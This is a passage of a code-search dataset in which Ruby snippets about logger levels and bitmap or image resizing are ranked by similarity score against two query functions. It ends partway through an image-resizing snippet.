[ { "docid": "27969d752dfe8ef032bf1178910d598f", "score": "0.0", "text": "def test_create_secrets_from_ejson\n logger.level = ::Logger::DEBUG # for assertions that we don't log secret data\n\n # Create secrets\n ejson_cloud = FixtureSetAssertions::EjsonCloud.new(@namespace)\n ejson_cloud.create_ejson_keys_secret\n assert_deploy_success(deploy_fixtures(\"ejson-cloud\"))\n ejson_cloud.assert_all_up\n assert_logs_match_all([\n %r{Secret\\/catphotoscom\\s+Available},\n %r{Secret\\/unused-secret\\s+Available},\n %r{Secret\\/monitoring-token\\s+Available},\n ])\n\n refute_logs_match(ejson_cloud.test_private_key)\n refute_logs_match(ejson_cloud.test_public_key)\n refute_logs_match(Base64.strict_encode64(ejson_cloud.catphotoscom_key_value))\n end", "title": "" } ]
[ { "docid": "196c52bf72ba879b1e8be39fcabc995d", "score": "0.7259461", "text": "def log_level=(level); end", "title": "" }, { "docid": "2ccb492dbcfb77061c2bb480bf33e4c1", "score": "0.7229308", "text": "def log_level; end", "title": "" }, { "docid": "2ccb492dbcfb77061c2bb480bf33e4c1", "score": "0.7229308", "text": "def log_level; end", "title": "" }, { "docid": "5663ee40b83171559e72185bb4ec1955", "score": "0.7224663", "text": "def log_level=(_arg0); end", "title": "" }, { "docid": "5663ee40b83171559e72185bb4ec1955", "score": "0.7224663", "text": "def log_level=(_arg0); end", "title": "" }, { "docid": "da9ed4a0a5d1d00a7e28d658eb097249", "score": "0.70379096", "text": "def check_global();puts $log_level;end", "title": "" }, { "docid": "848959144fab2b7e89c6c9ff72e3e65c", "score": "0.681026", "text": "def logger_level; end", "title": "" }, { "docid": "4ab4db9ec061c5dc51180d03dbedf08c", "score": "0.67557883", "text": "def ruby_test_logging_functions\n log(\"Log 1\")\n log2(message: \"Log 2\")\n log2(message: \"Log 3\", priority: 2)\nend", "title": "" }, { "docid": "a91ce18020f338d561f2a469bf7df66e", "score": "0.6735406", "text": "def log_level\n @log_level ||= DEFAULT_LOG_LEVEL\n end", "title": "" }, { "docid": "a91ce18020f338d561f2a469bf7df66e", "score": "0.6735406", "text": "def log_level\n @log_level ||= DEFAULT_LOG_LEVEL\n end", "title": "" }, { "docid": "6e38d6b29c3708472ca194dd9c89e2ad", "score": "0.6682054", "text": "def log level, message; write level, message, caller[0] unless level > @level end", "title": "" }, { "docid": "75f714468abd0c0c28bdedc9eac51c43", "score": "0.6581286", "text": "def autoflush_log; end", "title": "" }, { "docid": "75f714468abd0c0c28bdedc9eac51c43", "score": "0.6581286", "text": "def autoflush_log; end", "title": "" }, { "docid": "33a7d97fd810e0aa76d4b700a7ce44f3", "score": "0.6537335", "text": "def level; @logger.level; end", "title": "" }, { "docid": "c26595808acd19fc4a123904cfae2499", "score": "0.65252817", "text": "def handle_loglevel(val)\n\t\tset_log_level(Rex::LogSource, val)\n\t\tset_log_level(Msf::LogSource, val)\n\tend", "title": "" }, { "docid": "b4f727de3a5be9c68efa978492164eb3", "score": "0.6512795", "text": "def autoflush_log=(_arg0); end", "title": "" }, { "docid": "b4f727de3a5be9c68efa978492164eb3", "score": "0.6512795", "text": "def autoflush_log=(_arg0); end", "title": "" }, { "docid": "3f68fdd1b009d4d8fe602e973ab4837a", "score": "0.6511672", "text": "def colorize_logging; end", "title": "" }, { "docid": "4895e6cda61ba5f6e4732f3ee4f5ae20", "score": "0.64633566", "text": "def setup_logging( level=:fatal )\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tlogarray = []\n\t\t\tThread.current['logger-output'] = logarray\n\t\t\tLoggability.output_to( logarray )\n\t\t\tLoggability.format_as( :html )\n\t\t\tLoggability.level = :debug\n\t\telse\n\t\t\tLoggability.level = level\n\t\tend\n\tend", "title": "" }, { "docid": "a53ff9eac6988dba24c9bd567658ad6b", "score": "0.64463323", "text": "def log_level\n @log_level ||= :debug\n end", "title": "" }, { "docid": "a53ff9eac6988dba24c9bd567658ad6b", "score": "0.64463323", "text": "def log_level\n @log_level ||= :debug\n end", "title": "" }, { "docid": "d177336ce3be2611ec9b413396f98c4c", "score": "0.6413805", "text": "def colorize_logging=(_arg0); end", "title": "" }, { "docid": "d53a67a301cf8bac98949deebedc5856", "score": "0.64078134", "text": "def log_level\n (self['resque.log_level'] || 1).to_i\n end", "title": "" }, { "docid": "ba1a7b2bc778c6b7e3e864917bcc586d", "score": "0.63799244", "text": "def enable_logging(opts); end", "title": "" }, { "docid": "dad5f3d54a8efcbaa522a5a9ffdc39c1", "score": "0.6361669", "text": "def do_log(log)\r\n log.debug \"This is a message with level DEBUG\"\r\n log.info \"This is a message with level INFO\"\r\n log.warn \"This is a message with level WARN\"\r\n log.error \"This is a message with level ERROR\"\r\n log.fatal \"This is a message with level FATAL\"\r\nend", "title": "" }, { "docid": "914cac42063e2fa0f1453dafc989109e", "score": "0.6358629", "text": "def log_stuff\r\n log.info(\"TestLogger is here to log stuff.\")\r\n log.warn(\"TestLogger is finishged logging. Be careful.\")\r\n end", "title": "" }, { "docid": "cd3568a94d24e3ba12f02d4e59a35002", "score": "0.635836", "text": "def demonstrating_log_levels\n # Disabled by default\n LOGGER.trace( \"TRACE logs are NOT captured by default\" ) if LOGGER.trace? \n LOGGER.debug( \"DEBUG logs are NOT captured by default\" ) if LOGGER.debug?\n LOGGER.info( \"INFO logs are NOT captured by default\" ) if LOGGER.info?\n\n # Enabled by default\n LOGGER.notice( \"NOTICE logs are captured by default\" )\n LOGGER.warn( \"WARN logs are captured by default\" ) \n LOGGER.error( \"ERROR logs are captured by default\" )\n LOGGER.severe( \"SEVERE logs are captured by default\" )\n LOGGER.fatal( \"FATAL logs are captured by default\" )\n end", "title": "" }, { "docid": "3b4863da3f7dc2b9b092c5c6958ffd7b", "score": "0.63548267", "text": "def discreet_output(&block)\n ll = self.logger.level\n self.logger.level = Capistrano::Logger::INFO \n yield\n self.logger.level = ll\nend", "title": "" }, { "docid": "68ffb87023abfd8a596f257cb1ec7550", "score": "0.6354771", "text": "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif Mongrel2::Logging::LOG_LEVELS.key?( level.to_s )\n\t\t\tlevel = Mongrel2::Logging::LOG_LEVELS[ level.to_s ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tMongrel2.logger = logger\n\t\tMongrel2.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tMongrel2.logger = Logger.new( logdevice )\n\t\t\t# Mongrel2.logger.level = level\n\t\t\tMongrel2.logger.formatter = Mongrel2::Logging::HtmlFormatter.new( logger )\n\t\tend\n\tend", "title": "" }, { "docid": "21dc670319ec84a2ddbc9d8a9a20b97e", "score": "0.63513607", "text": "def log_level(level)\n\t\t\t@sys_lock.synchronize {\n\t\t\t\t@log_level = Control::get_log_level(level)\n\t\t\t\tif @controller.active\n\t\t\t\t\t@logger.level = @log_level\n\t\t\t\tend\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "08cd7af22b489d0b8ebe09250688f025", "score": "0.6343589", "text": "def loglevel\n @loglevel ||= ::Logger::WARN\n end", "title": "" }, { "docid": "31b3f14bdb0069f5730583c67325196a", "score": "0.63335514", "text": "def setlog(level)\n $LOGLEVEL = level\n end", "title": "" }, { "docid": "1c7b48bbdd2a2afc54c2037142c5ead6", "score": "0.63251066", "text": "def log_level=(val)\n @@log_level = val\n end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.63234305", "text": "def log; end", "title": "" }, { "docid": "e5e5fd6666b6309f5d00065e233ed2b9", "score": "0.6319089", "text": "def enable_logging\n initialize_logger\n end", "title": "" }, { "docid": "a68899be88bd588ef4a5a4bae146079c", "score": "0.6298822", "text": "def log=(log); end", "title": "" }, { "docid": "3fdc8fa3f0090af2bc9d3f1ddbac1caa", "score": "0.6292475", "text": "def loglevel=(level)\n @log.level=level\n end", "title": "" }, { "docid": "6f743ab7c119796630efcc5fe6c78b3d", "score": "0.62836444", "text": "def log(level, msg)\n puts \"#{level}, #{@org} Customization: #{msg}\"\n end", "title": "" }, { "docid": "aee78df24e7bd005c08ae84cf46588ba", "score": "0.6262728", "text": "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif Treequel::LOG_LEVELS.key?( level.to_s )\n\t\t\tlevel = Treequel::LOG_LEVELS[ level.to_s ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tTreequel.logger = logger\n\t\tTreequel.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tTreequel.logger = Logger.new( logdevice )\n\t\t\t# Treequel.logger.level = level\n\t\t\tTreequel.logger.formatter = Treequel::HtmlLogFormatter.new( logger )\n\t\tend\n\tend", "title": "" }, { "docid": "caf73742d91e92acf42d7080f5c66951", "score": "0.62603474", "text": "def log_level\n status == \"failure\" ? :err : (@default_log_level || :notice)\n end", "title": "" }, { "docid": "40d4efe8a2c9f885029ffe63562c90b8", "score": "0.6259719", "text": "def verbose_logging; end", "title": "" }, { "docid": "84bc610cec8f46cec74f4ed4cb9d7b50", "score": "0.6245178", "text": "def loglevel=(level)\n @loglevel = logger.level = level\n end", "title": "" }, { "docid": "0eba9e43961335e77e3a0ea74431891c", "score": "0.62372845", "text": "def setup_logging( level=Logger::FATAL )\n\n\t\t# Turn symbol-style level config into Logger's expected Fixnum level\n\t\tif RoninShell::Loggable::LEVEL.key?( level )\n\t\t\tlevel = RoninShell::Loggable::LEVEL[ level ]\n\t\tend\n\n\t\tlogger = Logger.new( $stderr )\n\t\tRoninShell.logger = logger\n\t\tRoninShell.logger.level = level\n\n\t\t# Only do this when executing from a spec in TextMate\n\t\tif ENV['HTML_LOGGING'] || (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\\.rb/)\n\t\t\tThread.current['logger-output'] = []\n\t\t\tlogdevice = ArrayLogger.new( Thread.current['logger-output'] )\n\t\t\tRoninShell.logger = Logger.new( logdevice )\n\t\t\t# RoninShell.logger.level = level\n\t\t\tRoninShell.logger.formatter = RoninShell::HtmlLogFormatter.new( logger )\n\t\tend\n\tend", "title": "" }, { "docid": "89b926a1808d9c444928d6da037e6af6", "score": "0.6224028", "text": "def log_set (level)\n execute(:log_set, level)\n end", "title": "" }, { "docid": "d895e869bed6cd1e9ca170e7516c3d54", "score": "0.6212641", "text": "def set_log_level( level )\n case level\n when :fatal\n ::Logger::FATAL\n when :error\n ::Logger::ERROR\n when :warn\n ::Logger::WARN\n when :info\n ::Logger::INFO\n when :debug\n ::Logger::DEBUG\n else\n ::Logger::INFO\n end\n end", "title": "" }, { "docid": "f03da8ace08a789710494dd100614794", "score": "0.62095374", "text": "def logging_level\n @logging_level\n end", "title": "" }, { "docid": "002bb46159cf5e2dcc2426cb9d9018e3", "score": "0.62071633", "text": "def log_level(value)\n Logger.log_level = value\n return nil\n end", "title": "" }, { "docid": "e573ef83aed5b89fad7049ea1450b9e8", "score": "0.61977595", "text": "def log_level\n %i[DEBUG INFO WARN ERROR FATAL UNKNOWN][logger.level]\n end", "title": "" }, { "docid": "e573ef83aed5b89fad7049ea1450b9e8", "score": "0.61977595", "text": "def log_level\n %i[DEBUG INFO WARN ERROR FATAL UNKNOWN][logger.level]\n end", "title": "" }, { "docid": "e573ef83aed5b89fad7049ea1450b9e8", "score": "0.61977595", "text": "def log_level\n %i[DEBUG INFO WARN ERROR FATAL UNKNOWN][logger.level]\n end", "title": "" }, { "docid": "dc7cb55a93d732cb9dcbe917b74da9a7", "score": "0.61896557", "text": "def log=(logger); end", "title": "" }, { "docid": "1761edcf729c54e61e40f40b801851bd", "score": "0.6187761", "text": "def test_default_logger_output\n level = Cisco::Logger.level\n Cisco::Logger.level = Logger::DEBUG\n assert_equal(Logger::DEBUG, Cisco::Logger.level)\n assert_output { Cisco::Logger.debug('Test default debug output') }\n assert_output { Cisco::Logger.info('Test default info output') }\n assert_output { Cisco::Logger.warn('Test default warn output') }\n assert_output { Cisco::Logger.error('Test default error output') }\n Cisco::Logger.level = level\n assert_equal(level, Cisco::Logger.level)\n end", "title": "" }, { "docid": "74e064f7c37ffd306e099ab5c8473681", "score": "0.6187688", "text": "def log_level level\n level = Deployable::Logger.const_get level.upcase unless \n level.kind_of? ::Fixnum\n\n @log.level = level\n end", "title": "" }, { "docid": "5c61189eb91a0b18cfde46f9d6a9fcbf", "score": "0.61735535", "text": "def logging\n @@logging ||= lambda { |msg| puts(\"#{Time.now} :minion: #{msg}\") }\n end", "title": "" }, { "docid": "30ffa62c901b93dcf6dd19cf01f2bdad", "score": "0.6172399", "text": "def verbose_logging=(_arg0); end", "title": "" }, { "docid": "311446effbec138d1c2e415bcda471e3", "score": "0.6163139", "text": "def set_log_level\n logger.level = options[:quiet] ? Logger::FATAL : Logger::WARN\n logger.level = Logger::INFO if options[:verbose]\n logger.info(\"Logger.level set to #{logger.level}\")\n raise OptionsError.new(\"Option mismatch - you can't provide -v and -q at the same time\") if options[:quiet] && options[:verbose]\n end", "title": "" }, { "docid": "a6d37d20df510577defe8087e4f4f315", "score": "0.61629397", "text": "def level=(level)\n @level = level\n @log.level = @level\n end", "title": "" }, { "docid": "50e67b8071627fe6022e932ba4c40aa3", "score": "0.61602324", "text": "def set_log_level(log_level)\n case log_level.downcase\n when 'debug'\n @logger.level = Logger::DEBUG\n when 'info'\n @logger.level = Logger::INFO\n when 'warn'\n @logger.level = Logger::WARN\n when 'error'\n @logger.level = Logger::ERROR\n when 'fatal'\n @logger.level = Logger::FATAL\n end\n end", "title": "" }, { "docid": "4190af583865d098c718a210822f5aca", "score": "0.6128552", "text": "def log_level\n @log_level ||= WARN\n end", "title": "" }, { "docid": "3d399d03cad79d1bbf2238afc801ef5e", "score": "0.6123536", "text": "def logger ; @log end", "title": "" }, { "docid": "95dbc3ccd93ad7f5fe2388d35ddf813f", "score": "0.6117881", "text": "def log_level\n @log_level ||= begin\n log_level = @config.log_level || @config_from_file['galaxy.agent.log-level'] || 'INFO'\n case log_level\n when \"DEBUG\"\n Logger::DEBUG\n when \"INFO\"\n Logger::INFO\n when \"WARN\"\n Logger::WARN\n when \"ERROR\"\n Logger::ERROR\n end\n end\n end", "title": "" }, { "docid": "8bb3e90bc232ec0110ca3ddc63fd388d", "score": "0.6104432", "text": "def default_level\n ENV.key?(ENV_FLAG) ? ::Logger::DEBUG : ::Logger::WARN\n end", "title": "" }, { "docid": "b3028175d89be9e311f95f5e9af08dab", "score": "0.6104297", "text": "def logger_output; end", "title": "" }, { "docid": "74a695cf83b1bba5c0da7bf0beaa432d", "score": "0.6093667", "text": "def logging_prefs; end", "title": "" }, { "docid": "cbd9e32c4998da7b8772f8abf715ecfb", "score": "0.6092519", "text": "def info?; @loggers.first.level <= INFO; end", "title": "" }, { "docid": "f2b13a672568c0a9b2a9e6fed0c17f38", "score": "0.60897756", "text": "def start_logger\n VWO::Logger.class_eval do\n # Override this method to handle logs in a #{ab_test_campaign_goal} manner\n def log(level, message)\n # Modify message for #{ab_test_campaign_goal} logging\n message = \"#{ab_test_campaign_goal} message #{message}\"\n VWO::Logger.class_variable_get('@@logger_instance').log(level, message)\n end\n end\nend", "title": "" }, { "docid": "822932dbe80add868fc474523f7727a7", "score": "0.60869247", "text": "def log_level=(level)\n\t if level == 'debug'\n\t\t\t@log.level = Logger::DEBUG\n\t\telsif level == 'info'\n\t\t\t@log.level = Logger::INFO\n\t\telsif level == 'warn'\n\t\t\t@log.level = Logger::WARN\n\t\telsif level == 'error'\n\t\t\t@log.level = Logger::ERROR\n\t\telsif level == 'fatal'\n\t\t\t@log.level = Logger::FATAL\n\t\tend\n\tend", "title": "" }, { "docid": "822932dbe80add868fc474523f7727a7", "score": "0.60869247", "text": "def log_level=(level)\n\t if level == 'debug'\n\t\t\t@log.level = Logger::DEBUG\n\t\telsif level == 'info'\n\t\t\t@log.level = Logger::INFO\n\t\telsif level == 'warn'\n\t\t\t@log.level = Logger::WARN\n\t\telsif level == 'error'\n\t\t\t@log.level = Logger::ERROR\n\t\telsif level == 'fatal'\n\t\t\t@log.level = Logger::FATAL\n\t\tend\n\tend", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "5f6a5a5b87d242d7ee00054f5ad92955", "score": "0.60728943", "text": "def logger; end", "title": "" }, { "docid": "6a0da53a7350f6e4d1c85158ca1a922d", "score": "0.60591793", "text": "def log_and_update_message(level, msg, update_message = false)\n $evm.log(level, msg.to_s)\n @task.message = msg if @task && (update_message || level == 'error')\nend", "title": "" }, { "docid": "6a0da53a7350f6e4d1c85158ca1a922d", "score": "0.60581565", "text": "def log_and_update_message(level, msg, update_message = false)\n $evm.log(level, msg.to_s)\n @task.message = msg if @task && (update_message || level == 'error')\nend", "title": "" }, { "docid": "3c7659983129b9b28104224b3f4a7a23", "score": "0.6050947", "text": "def log(msg, level = :devel)\n Log4r::NDC.push(\"jack_tube\")\n Log.__send__(level, msg)\n Log4r::NDC.pop\n end", "title": "" }, { "docid": "5da6fd34f17f700bb6b400b0dee21162", "score": "0.60500944", "text": "def log_level=(level)\n logger.level = level\n end", "title": "" }, { "docid": "06607c9319127fcd5b06667cee2e3e31", "score": "0.60441035", "text": "def default_log_level\n\t\t\tif $DEBUG\n\t\t\t\tLogger::DEBUG\n\t\t\telsif $VERBOSE\n\t\t\t\tLogger::INFO\n\t\t\telse\n\t\t\t\tLogger::WARN\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "016f8b9cdb9f6bfa873e54b7116755ee", "score": "0.6043258", "text": "def log\n end", "title": "" }, { "docid": "56e9b0099b9de7e81257d9f38e9eb3a7", "score": "0.6027224", "text": "def log(msg)\n if $settings[:log]\n $settings[:log].write(Time.now.inspect + \" \" + msg + \"\\n\")\n $settings[:log].flush\n end\nend", "title": "" } ]
c4342096ba168c4637dad0cec096654d
Get a bitmap resized to a given size if it differs from it Parameters:: iBitmap (Wx::Bitmap): The original bitmap iWidth (_Integer_): The width of the resized bitmap iHeight (_Integer_): The height of the resized bitmap Return:: Wx::Bitmap: The resized bitmap (can be the same object as iBitmap)
[ { "docid": "b6f33d0e24caac2692f27f0c92f9c40f", "score": "0.82256824", "text": "def getResizedBitmap(iBitmap, iWidth, iHeight)\n rResizedBitmap = iBitmap\n\n if ((iBitmap.width != iWidth) or\n (iBitmap.height != iHeight))\n rResizedBitmap = Wx::Bitmap.new(iBitmap.convert_to_image.scale(iWidth, iHeight))\n end\n\n return rResizedBitmap\n end", "title": "" } ]
[ { "docid": "42cef18e4ecbd30dbe36fa215e02ef83", "score": "0.6108238", "text": "def update_bitmap_size(width, height)\n @bitmap = Bitmap.update_bitmap_size(@bitmap, width, height)\n if @window != nil\n @window.contents = @bitmap\n elsif @sprite != nil\n @sprite.bitmap = @bitmap\n end\n end", "title": "" }, { "docid": "42cef18e4ecbd30dbe36fa215e02ef83", "score": "0.6108238", "text": "def update_bitmap_size(width, height)\n @bitmap = Bitmap.update_bitmap_size(@bitmap, width, height)\n if @window != nil\n @window.contents = @bitmap\n elsif @sprite != nil\n @sprite.bitmap = @bitmap\n end\n end", "title": "" }, { "docid": "fb1139d0f694059ea44b589a1106a5ce", "score": "0.6034901", "text": "def width=(width)\r\n # Restrict to (0, max_width]\r\n width = [width, max_width].min\r\n # Return if same\r\n return if @width == width\r\n # Dispose Old Bitmap\r\n bitmap.dispose\r\n # Set Width\r\n @width = width\r\n # Set New Bitmap\r\n self.bitmap = Bitmap.new(@width, @height)\r\n # Refresh\r\n refresh\r\n end", "title": "" }, { "docid": "22f2d8be7ba2028b93b88deaaf87797f", "score": "0.59849995", "text": "def createBitmapFromFile(iFileName)\n rBitmap, lError = getBitmapFromURL(iFileName)\n\n if (rBitmap == nil)\n log_err \"Error while getting bitmap from #{iFileName}: #{lError}\"\n else\n lNewWidth = rBitmap.width\n if (rBitmap.width > MAX_ICON_WIDTH)\n lNewWidth = MAX_ICON_WIDTH\n end\n lNewHeight = rBitmap.height\n if (rBitmap.height > MAX_ICON_HEIGHT)\n lNewHeight = MAX_ICON_HEIGHT\n end\n if ((rBitmap.width > lNewWidth) or\n (rBitmap.height > lNewHeight))\n # We have to resize the bitmap to lNewWidth/lNewHeight\n rBitmap = Wx::Bitmap.from_image(rBitmap.convert_to_image.scale(lNewWidth, lNewHeight))\n end\n end\n\n return rBitmap\n end", "title": "" }, { "docid": "02dffbce969974632e96c9ad2ea62381", "score": "0.58139986", "text": "def resize_to_fit(width, height=nil)\n height ||= width\n geometry = \"#{width}x#{height}>\"\n local_wand = FFI::GMagick.MagickTransformImage( @wand, \"\", geometry )\n return FFI::GMagick::Image.new(local_wand)\n end", "title": "" }, { "docid": "6c1ad8fb33cb85de5ed9ee18f2347caf", "score": "0.58129597", "text": "def resize_to_fill(new_width, new_height=nil)\n new_height ||= new_width\n local_image = FFI::GMagick::Image.new(@wand)\n\n if new_width != local_image.width || new_height != local_image.height\n scale = [new_width/local_image.width.to_f, new_height/local_image.height.to_f].max\n local_image.resize(scale*width+0.5, scale*height+0.5)\n end\n\n if new_width != local_image.width || new_height != local_image.height\n local_image.crop(new_width, new_height)\n end\n\n return local_image\n end", "title": "" }, { "docid": "a3b9fac52b95e7eca1cbc4ddab668436", "score": "0.56969565", "text": "def height=(height)\r\n # Restrict to (0, max_height]\r\n height = [height, max_height].min\r\n # Return if same\r\n return if @height == height\r\n # Dispose Old Bitmap\r\n bitmap.dispose\r\n # Set Height\r\n @height = height\r\n # Set New Bitmap\r\n self.bitmap = Bitmap.new(@width, @height)\r\n # Refresh\r\n refresh\r\n end", "title": "" }, { "docid": "6f3306fd58686c1749346ba2980e26fd", "score": "0.5671762", "text": "def resize_image(old_img,max_size)\n img= old_img.trim\n real_cols,real_rows = img.columns,img.rows\n img.change_geometry(max_size) do |cols,rows,image|\n min_scale = [cols.to_f/real_cols,rows.to_f/real_rows].min\n new_image = image\n if cols < real_cols or rows < real_rows \n new_image = image.resize(min_scale)\n end\n return new_image\n #new_cols,new_rows = new_image.columns,new_image.rows\n #return new_image.border(cols-new_cols,rows-new_rows,'white')\n end\n end", "title": "" }, { "docid": "9f5906422b77f00e99e716caf3ac312b", "score": "0.5658474", "text": "def scale_image()\n pb = @pixbuf\n view = @view\n imglimit = view.visible_rect.width - 10\n\n if @oldimg.width > imglimit or @oldimg.width < imglimit - 10\n nwidth = imglimit\n nwidth = pb.width if pb.width < imglimit\n nheight = (pb.height * (nwidth.to_f / pb.width)).to_i\n pb = pb.scale_simple(nwidth, nheight, GdkPixbuf::InterpType::HYPER)\n else\n pb = @oldimg\n end\n @draw_image = pb\n @oldimg = pb\n self.set_size_request(pb.width, pb.height)\n\n end", "title": "" }, { "docid": "837c990b5caa18b0e388167ade9a8c0a", "score": "0.56239384", "text": "def resize_to_fill_and_save_dimensions(new_width, new_height)\n manipulate! do |img|\n width, height = img[:width], img[:height]\n new_img = resize_to_fill(new_width, new_height)\n\n w_ratio = width.to_f / new_width.to_f\n h_ratio = height.to_f / new_height.to_f\n\n ratio = [w_ratio, h_ratio].min\n\n self.w = ratio * new_width\n self.h = ratio * new_height\n self.x = (width - self.w) / 2\n self.y = (height - self.h) / 2\n\n new_img\n end\n end", "title": "" }, { "docid": "c87cac4a98bbfef7da13ffece2070844", "score": "0.5593939", "text": "def resize_to_fill_and_save_dimensions(new_width, new_height)\n manipulate! do |img|\n width, height = img.columns, img.rows\n new_img = img.resize_to_fill(new_width, new_height)\n destroy_image(img)\n\n w_ratio = width.to_f / new_width.to_f\n h_ratio = height.to_f / new_height.to_f\n\n ratio = [w_ratio, h_ratio].min\n\n self.w = ratio * new_width\n self.h = ratio * new_height\n self.x = (width - self.w) / 2\n self.y = (height - self.h) / 2\n\n new_img\n end\n end", "title": "" }, { "docid": "8d07688a63d3fb461bcdea20ca3ee398", "score": "0.55831033", "text": "def jpg_no_bigger_than(img,width,height)\n img.change_geometry(\"#{width}x#{height}\") do |columns,rows,img|\n $log.debug \"image size: rows:#{img.rows};columns:#{img.columns}\"\n img.resize(columns,rows)\n end\nend", "title": "" }, { "docid": "5af967514d7f561abc57ba722b9a76cf", "score": "0.55799115", "text": "def stretch(width, height)\r\n # Create Dummy Bitmap\r\n dummy = Bitmap.new(width, height)\r\n # Stretch Blt onto dummy\r\n dummy.stretch_blt(Rect.new(0, 0, width, height), self, dummy.rect)\r\n # Return dummy\r\n return dummy\r\n end", "title": "" }, { "docid": "15a2b550e0715b45a4b9c3d609e92e95", "score": "0.5568669", "text": "def resize_to_fill_and_save_dimensions(new_width, new_height)\n manipulate! do |img|\n width, height = img[:dimensions]\n img.combine_options do |i|\n if new_width != width || new_height != height\n scale_x = new_width/width.to_f\n scale_y = new_height/height.to_f\n if scale_x >= scale_y\n cols = (scale_x * (width + 0.5)).round\n rows = (scale_x * (height + 0.5)).round\n i.resize \"#{cols}\"\n else\n cols = (scale_y * (width + 0.5)).round\n rows = (scale_y * (height + 0.5)).round\n i.resize \"x#{rows}\"\n end\n end\n i.gravity 'Center'\n i.background \"rgba(255,255,255,0.0)\"\n i.extent \"#{new_width}x#{new_height}\" if cols != new_width || rows != new_height\n end\n w_ratio = width.to_f / new_width.to_f\n h_ratio = height.to_f / new_height.to_f\n\n ratio = [w_ratio, h_ratio].min\n\n self.w = ratio * new_width\n self.h = ratio * new_height\n self.x = (width - self.w) / 2\n self.y = (height - self.h) / 2\n\n img\n end\n end", "title": "" }, { "docid": "4ff797cf23ccce3f5541567e3890893b", "score": "0.5563912", "text": "def resize_to(width, height); end", "title": "" }, { "docid": "4ff797cf23ccce3f5541567e3890893b", "score": "0.5563912", "text": "def resize_to(width, height); end", "title": "" }, { "docid": "6f5906e001b5ae47638175cfddd9c151", "score": "0.55480945", "text": "def resize_to_limit(new_width, new_height)\n ::ImageScience.with_image(self.current_path) do |img|\n if img.width > new_width or img.height > new_height\n resize_to_fit(new_width, new_height)\n end\n end\n end", "title": "" }, { "docid": "13c772f7a838dcc0cd817dd8ada7f491", "score": "0.5525101", "text": "def resize_to_limit(width, height)\n manipulate! do |img|\n img.resize \"#{width}x#{height}>\"\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "e5ca73adc01adda5797aa08b0c5842af", "score": "0.54685855", "text": "def width=(width)\r\n # Restrict to (0, max_width]\r\n width = [width, max_width].min\r\n # Return if same\r\n return if @width == width\r\n # Set Width\r\n @width = width\r\n # Dispose 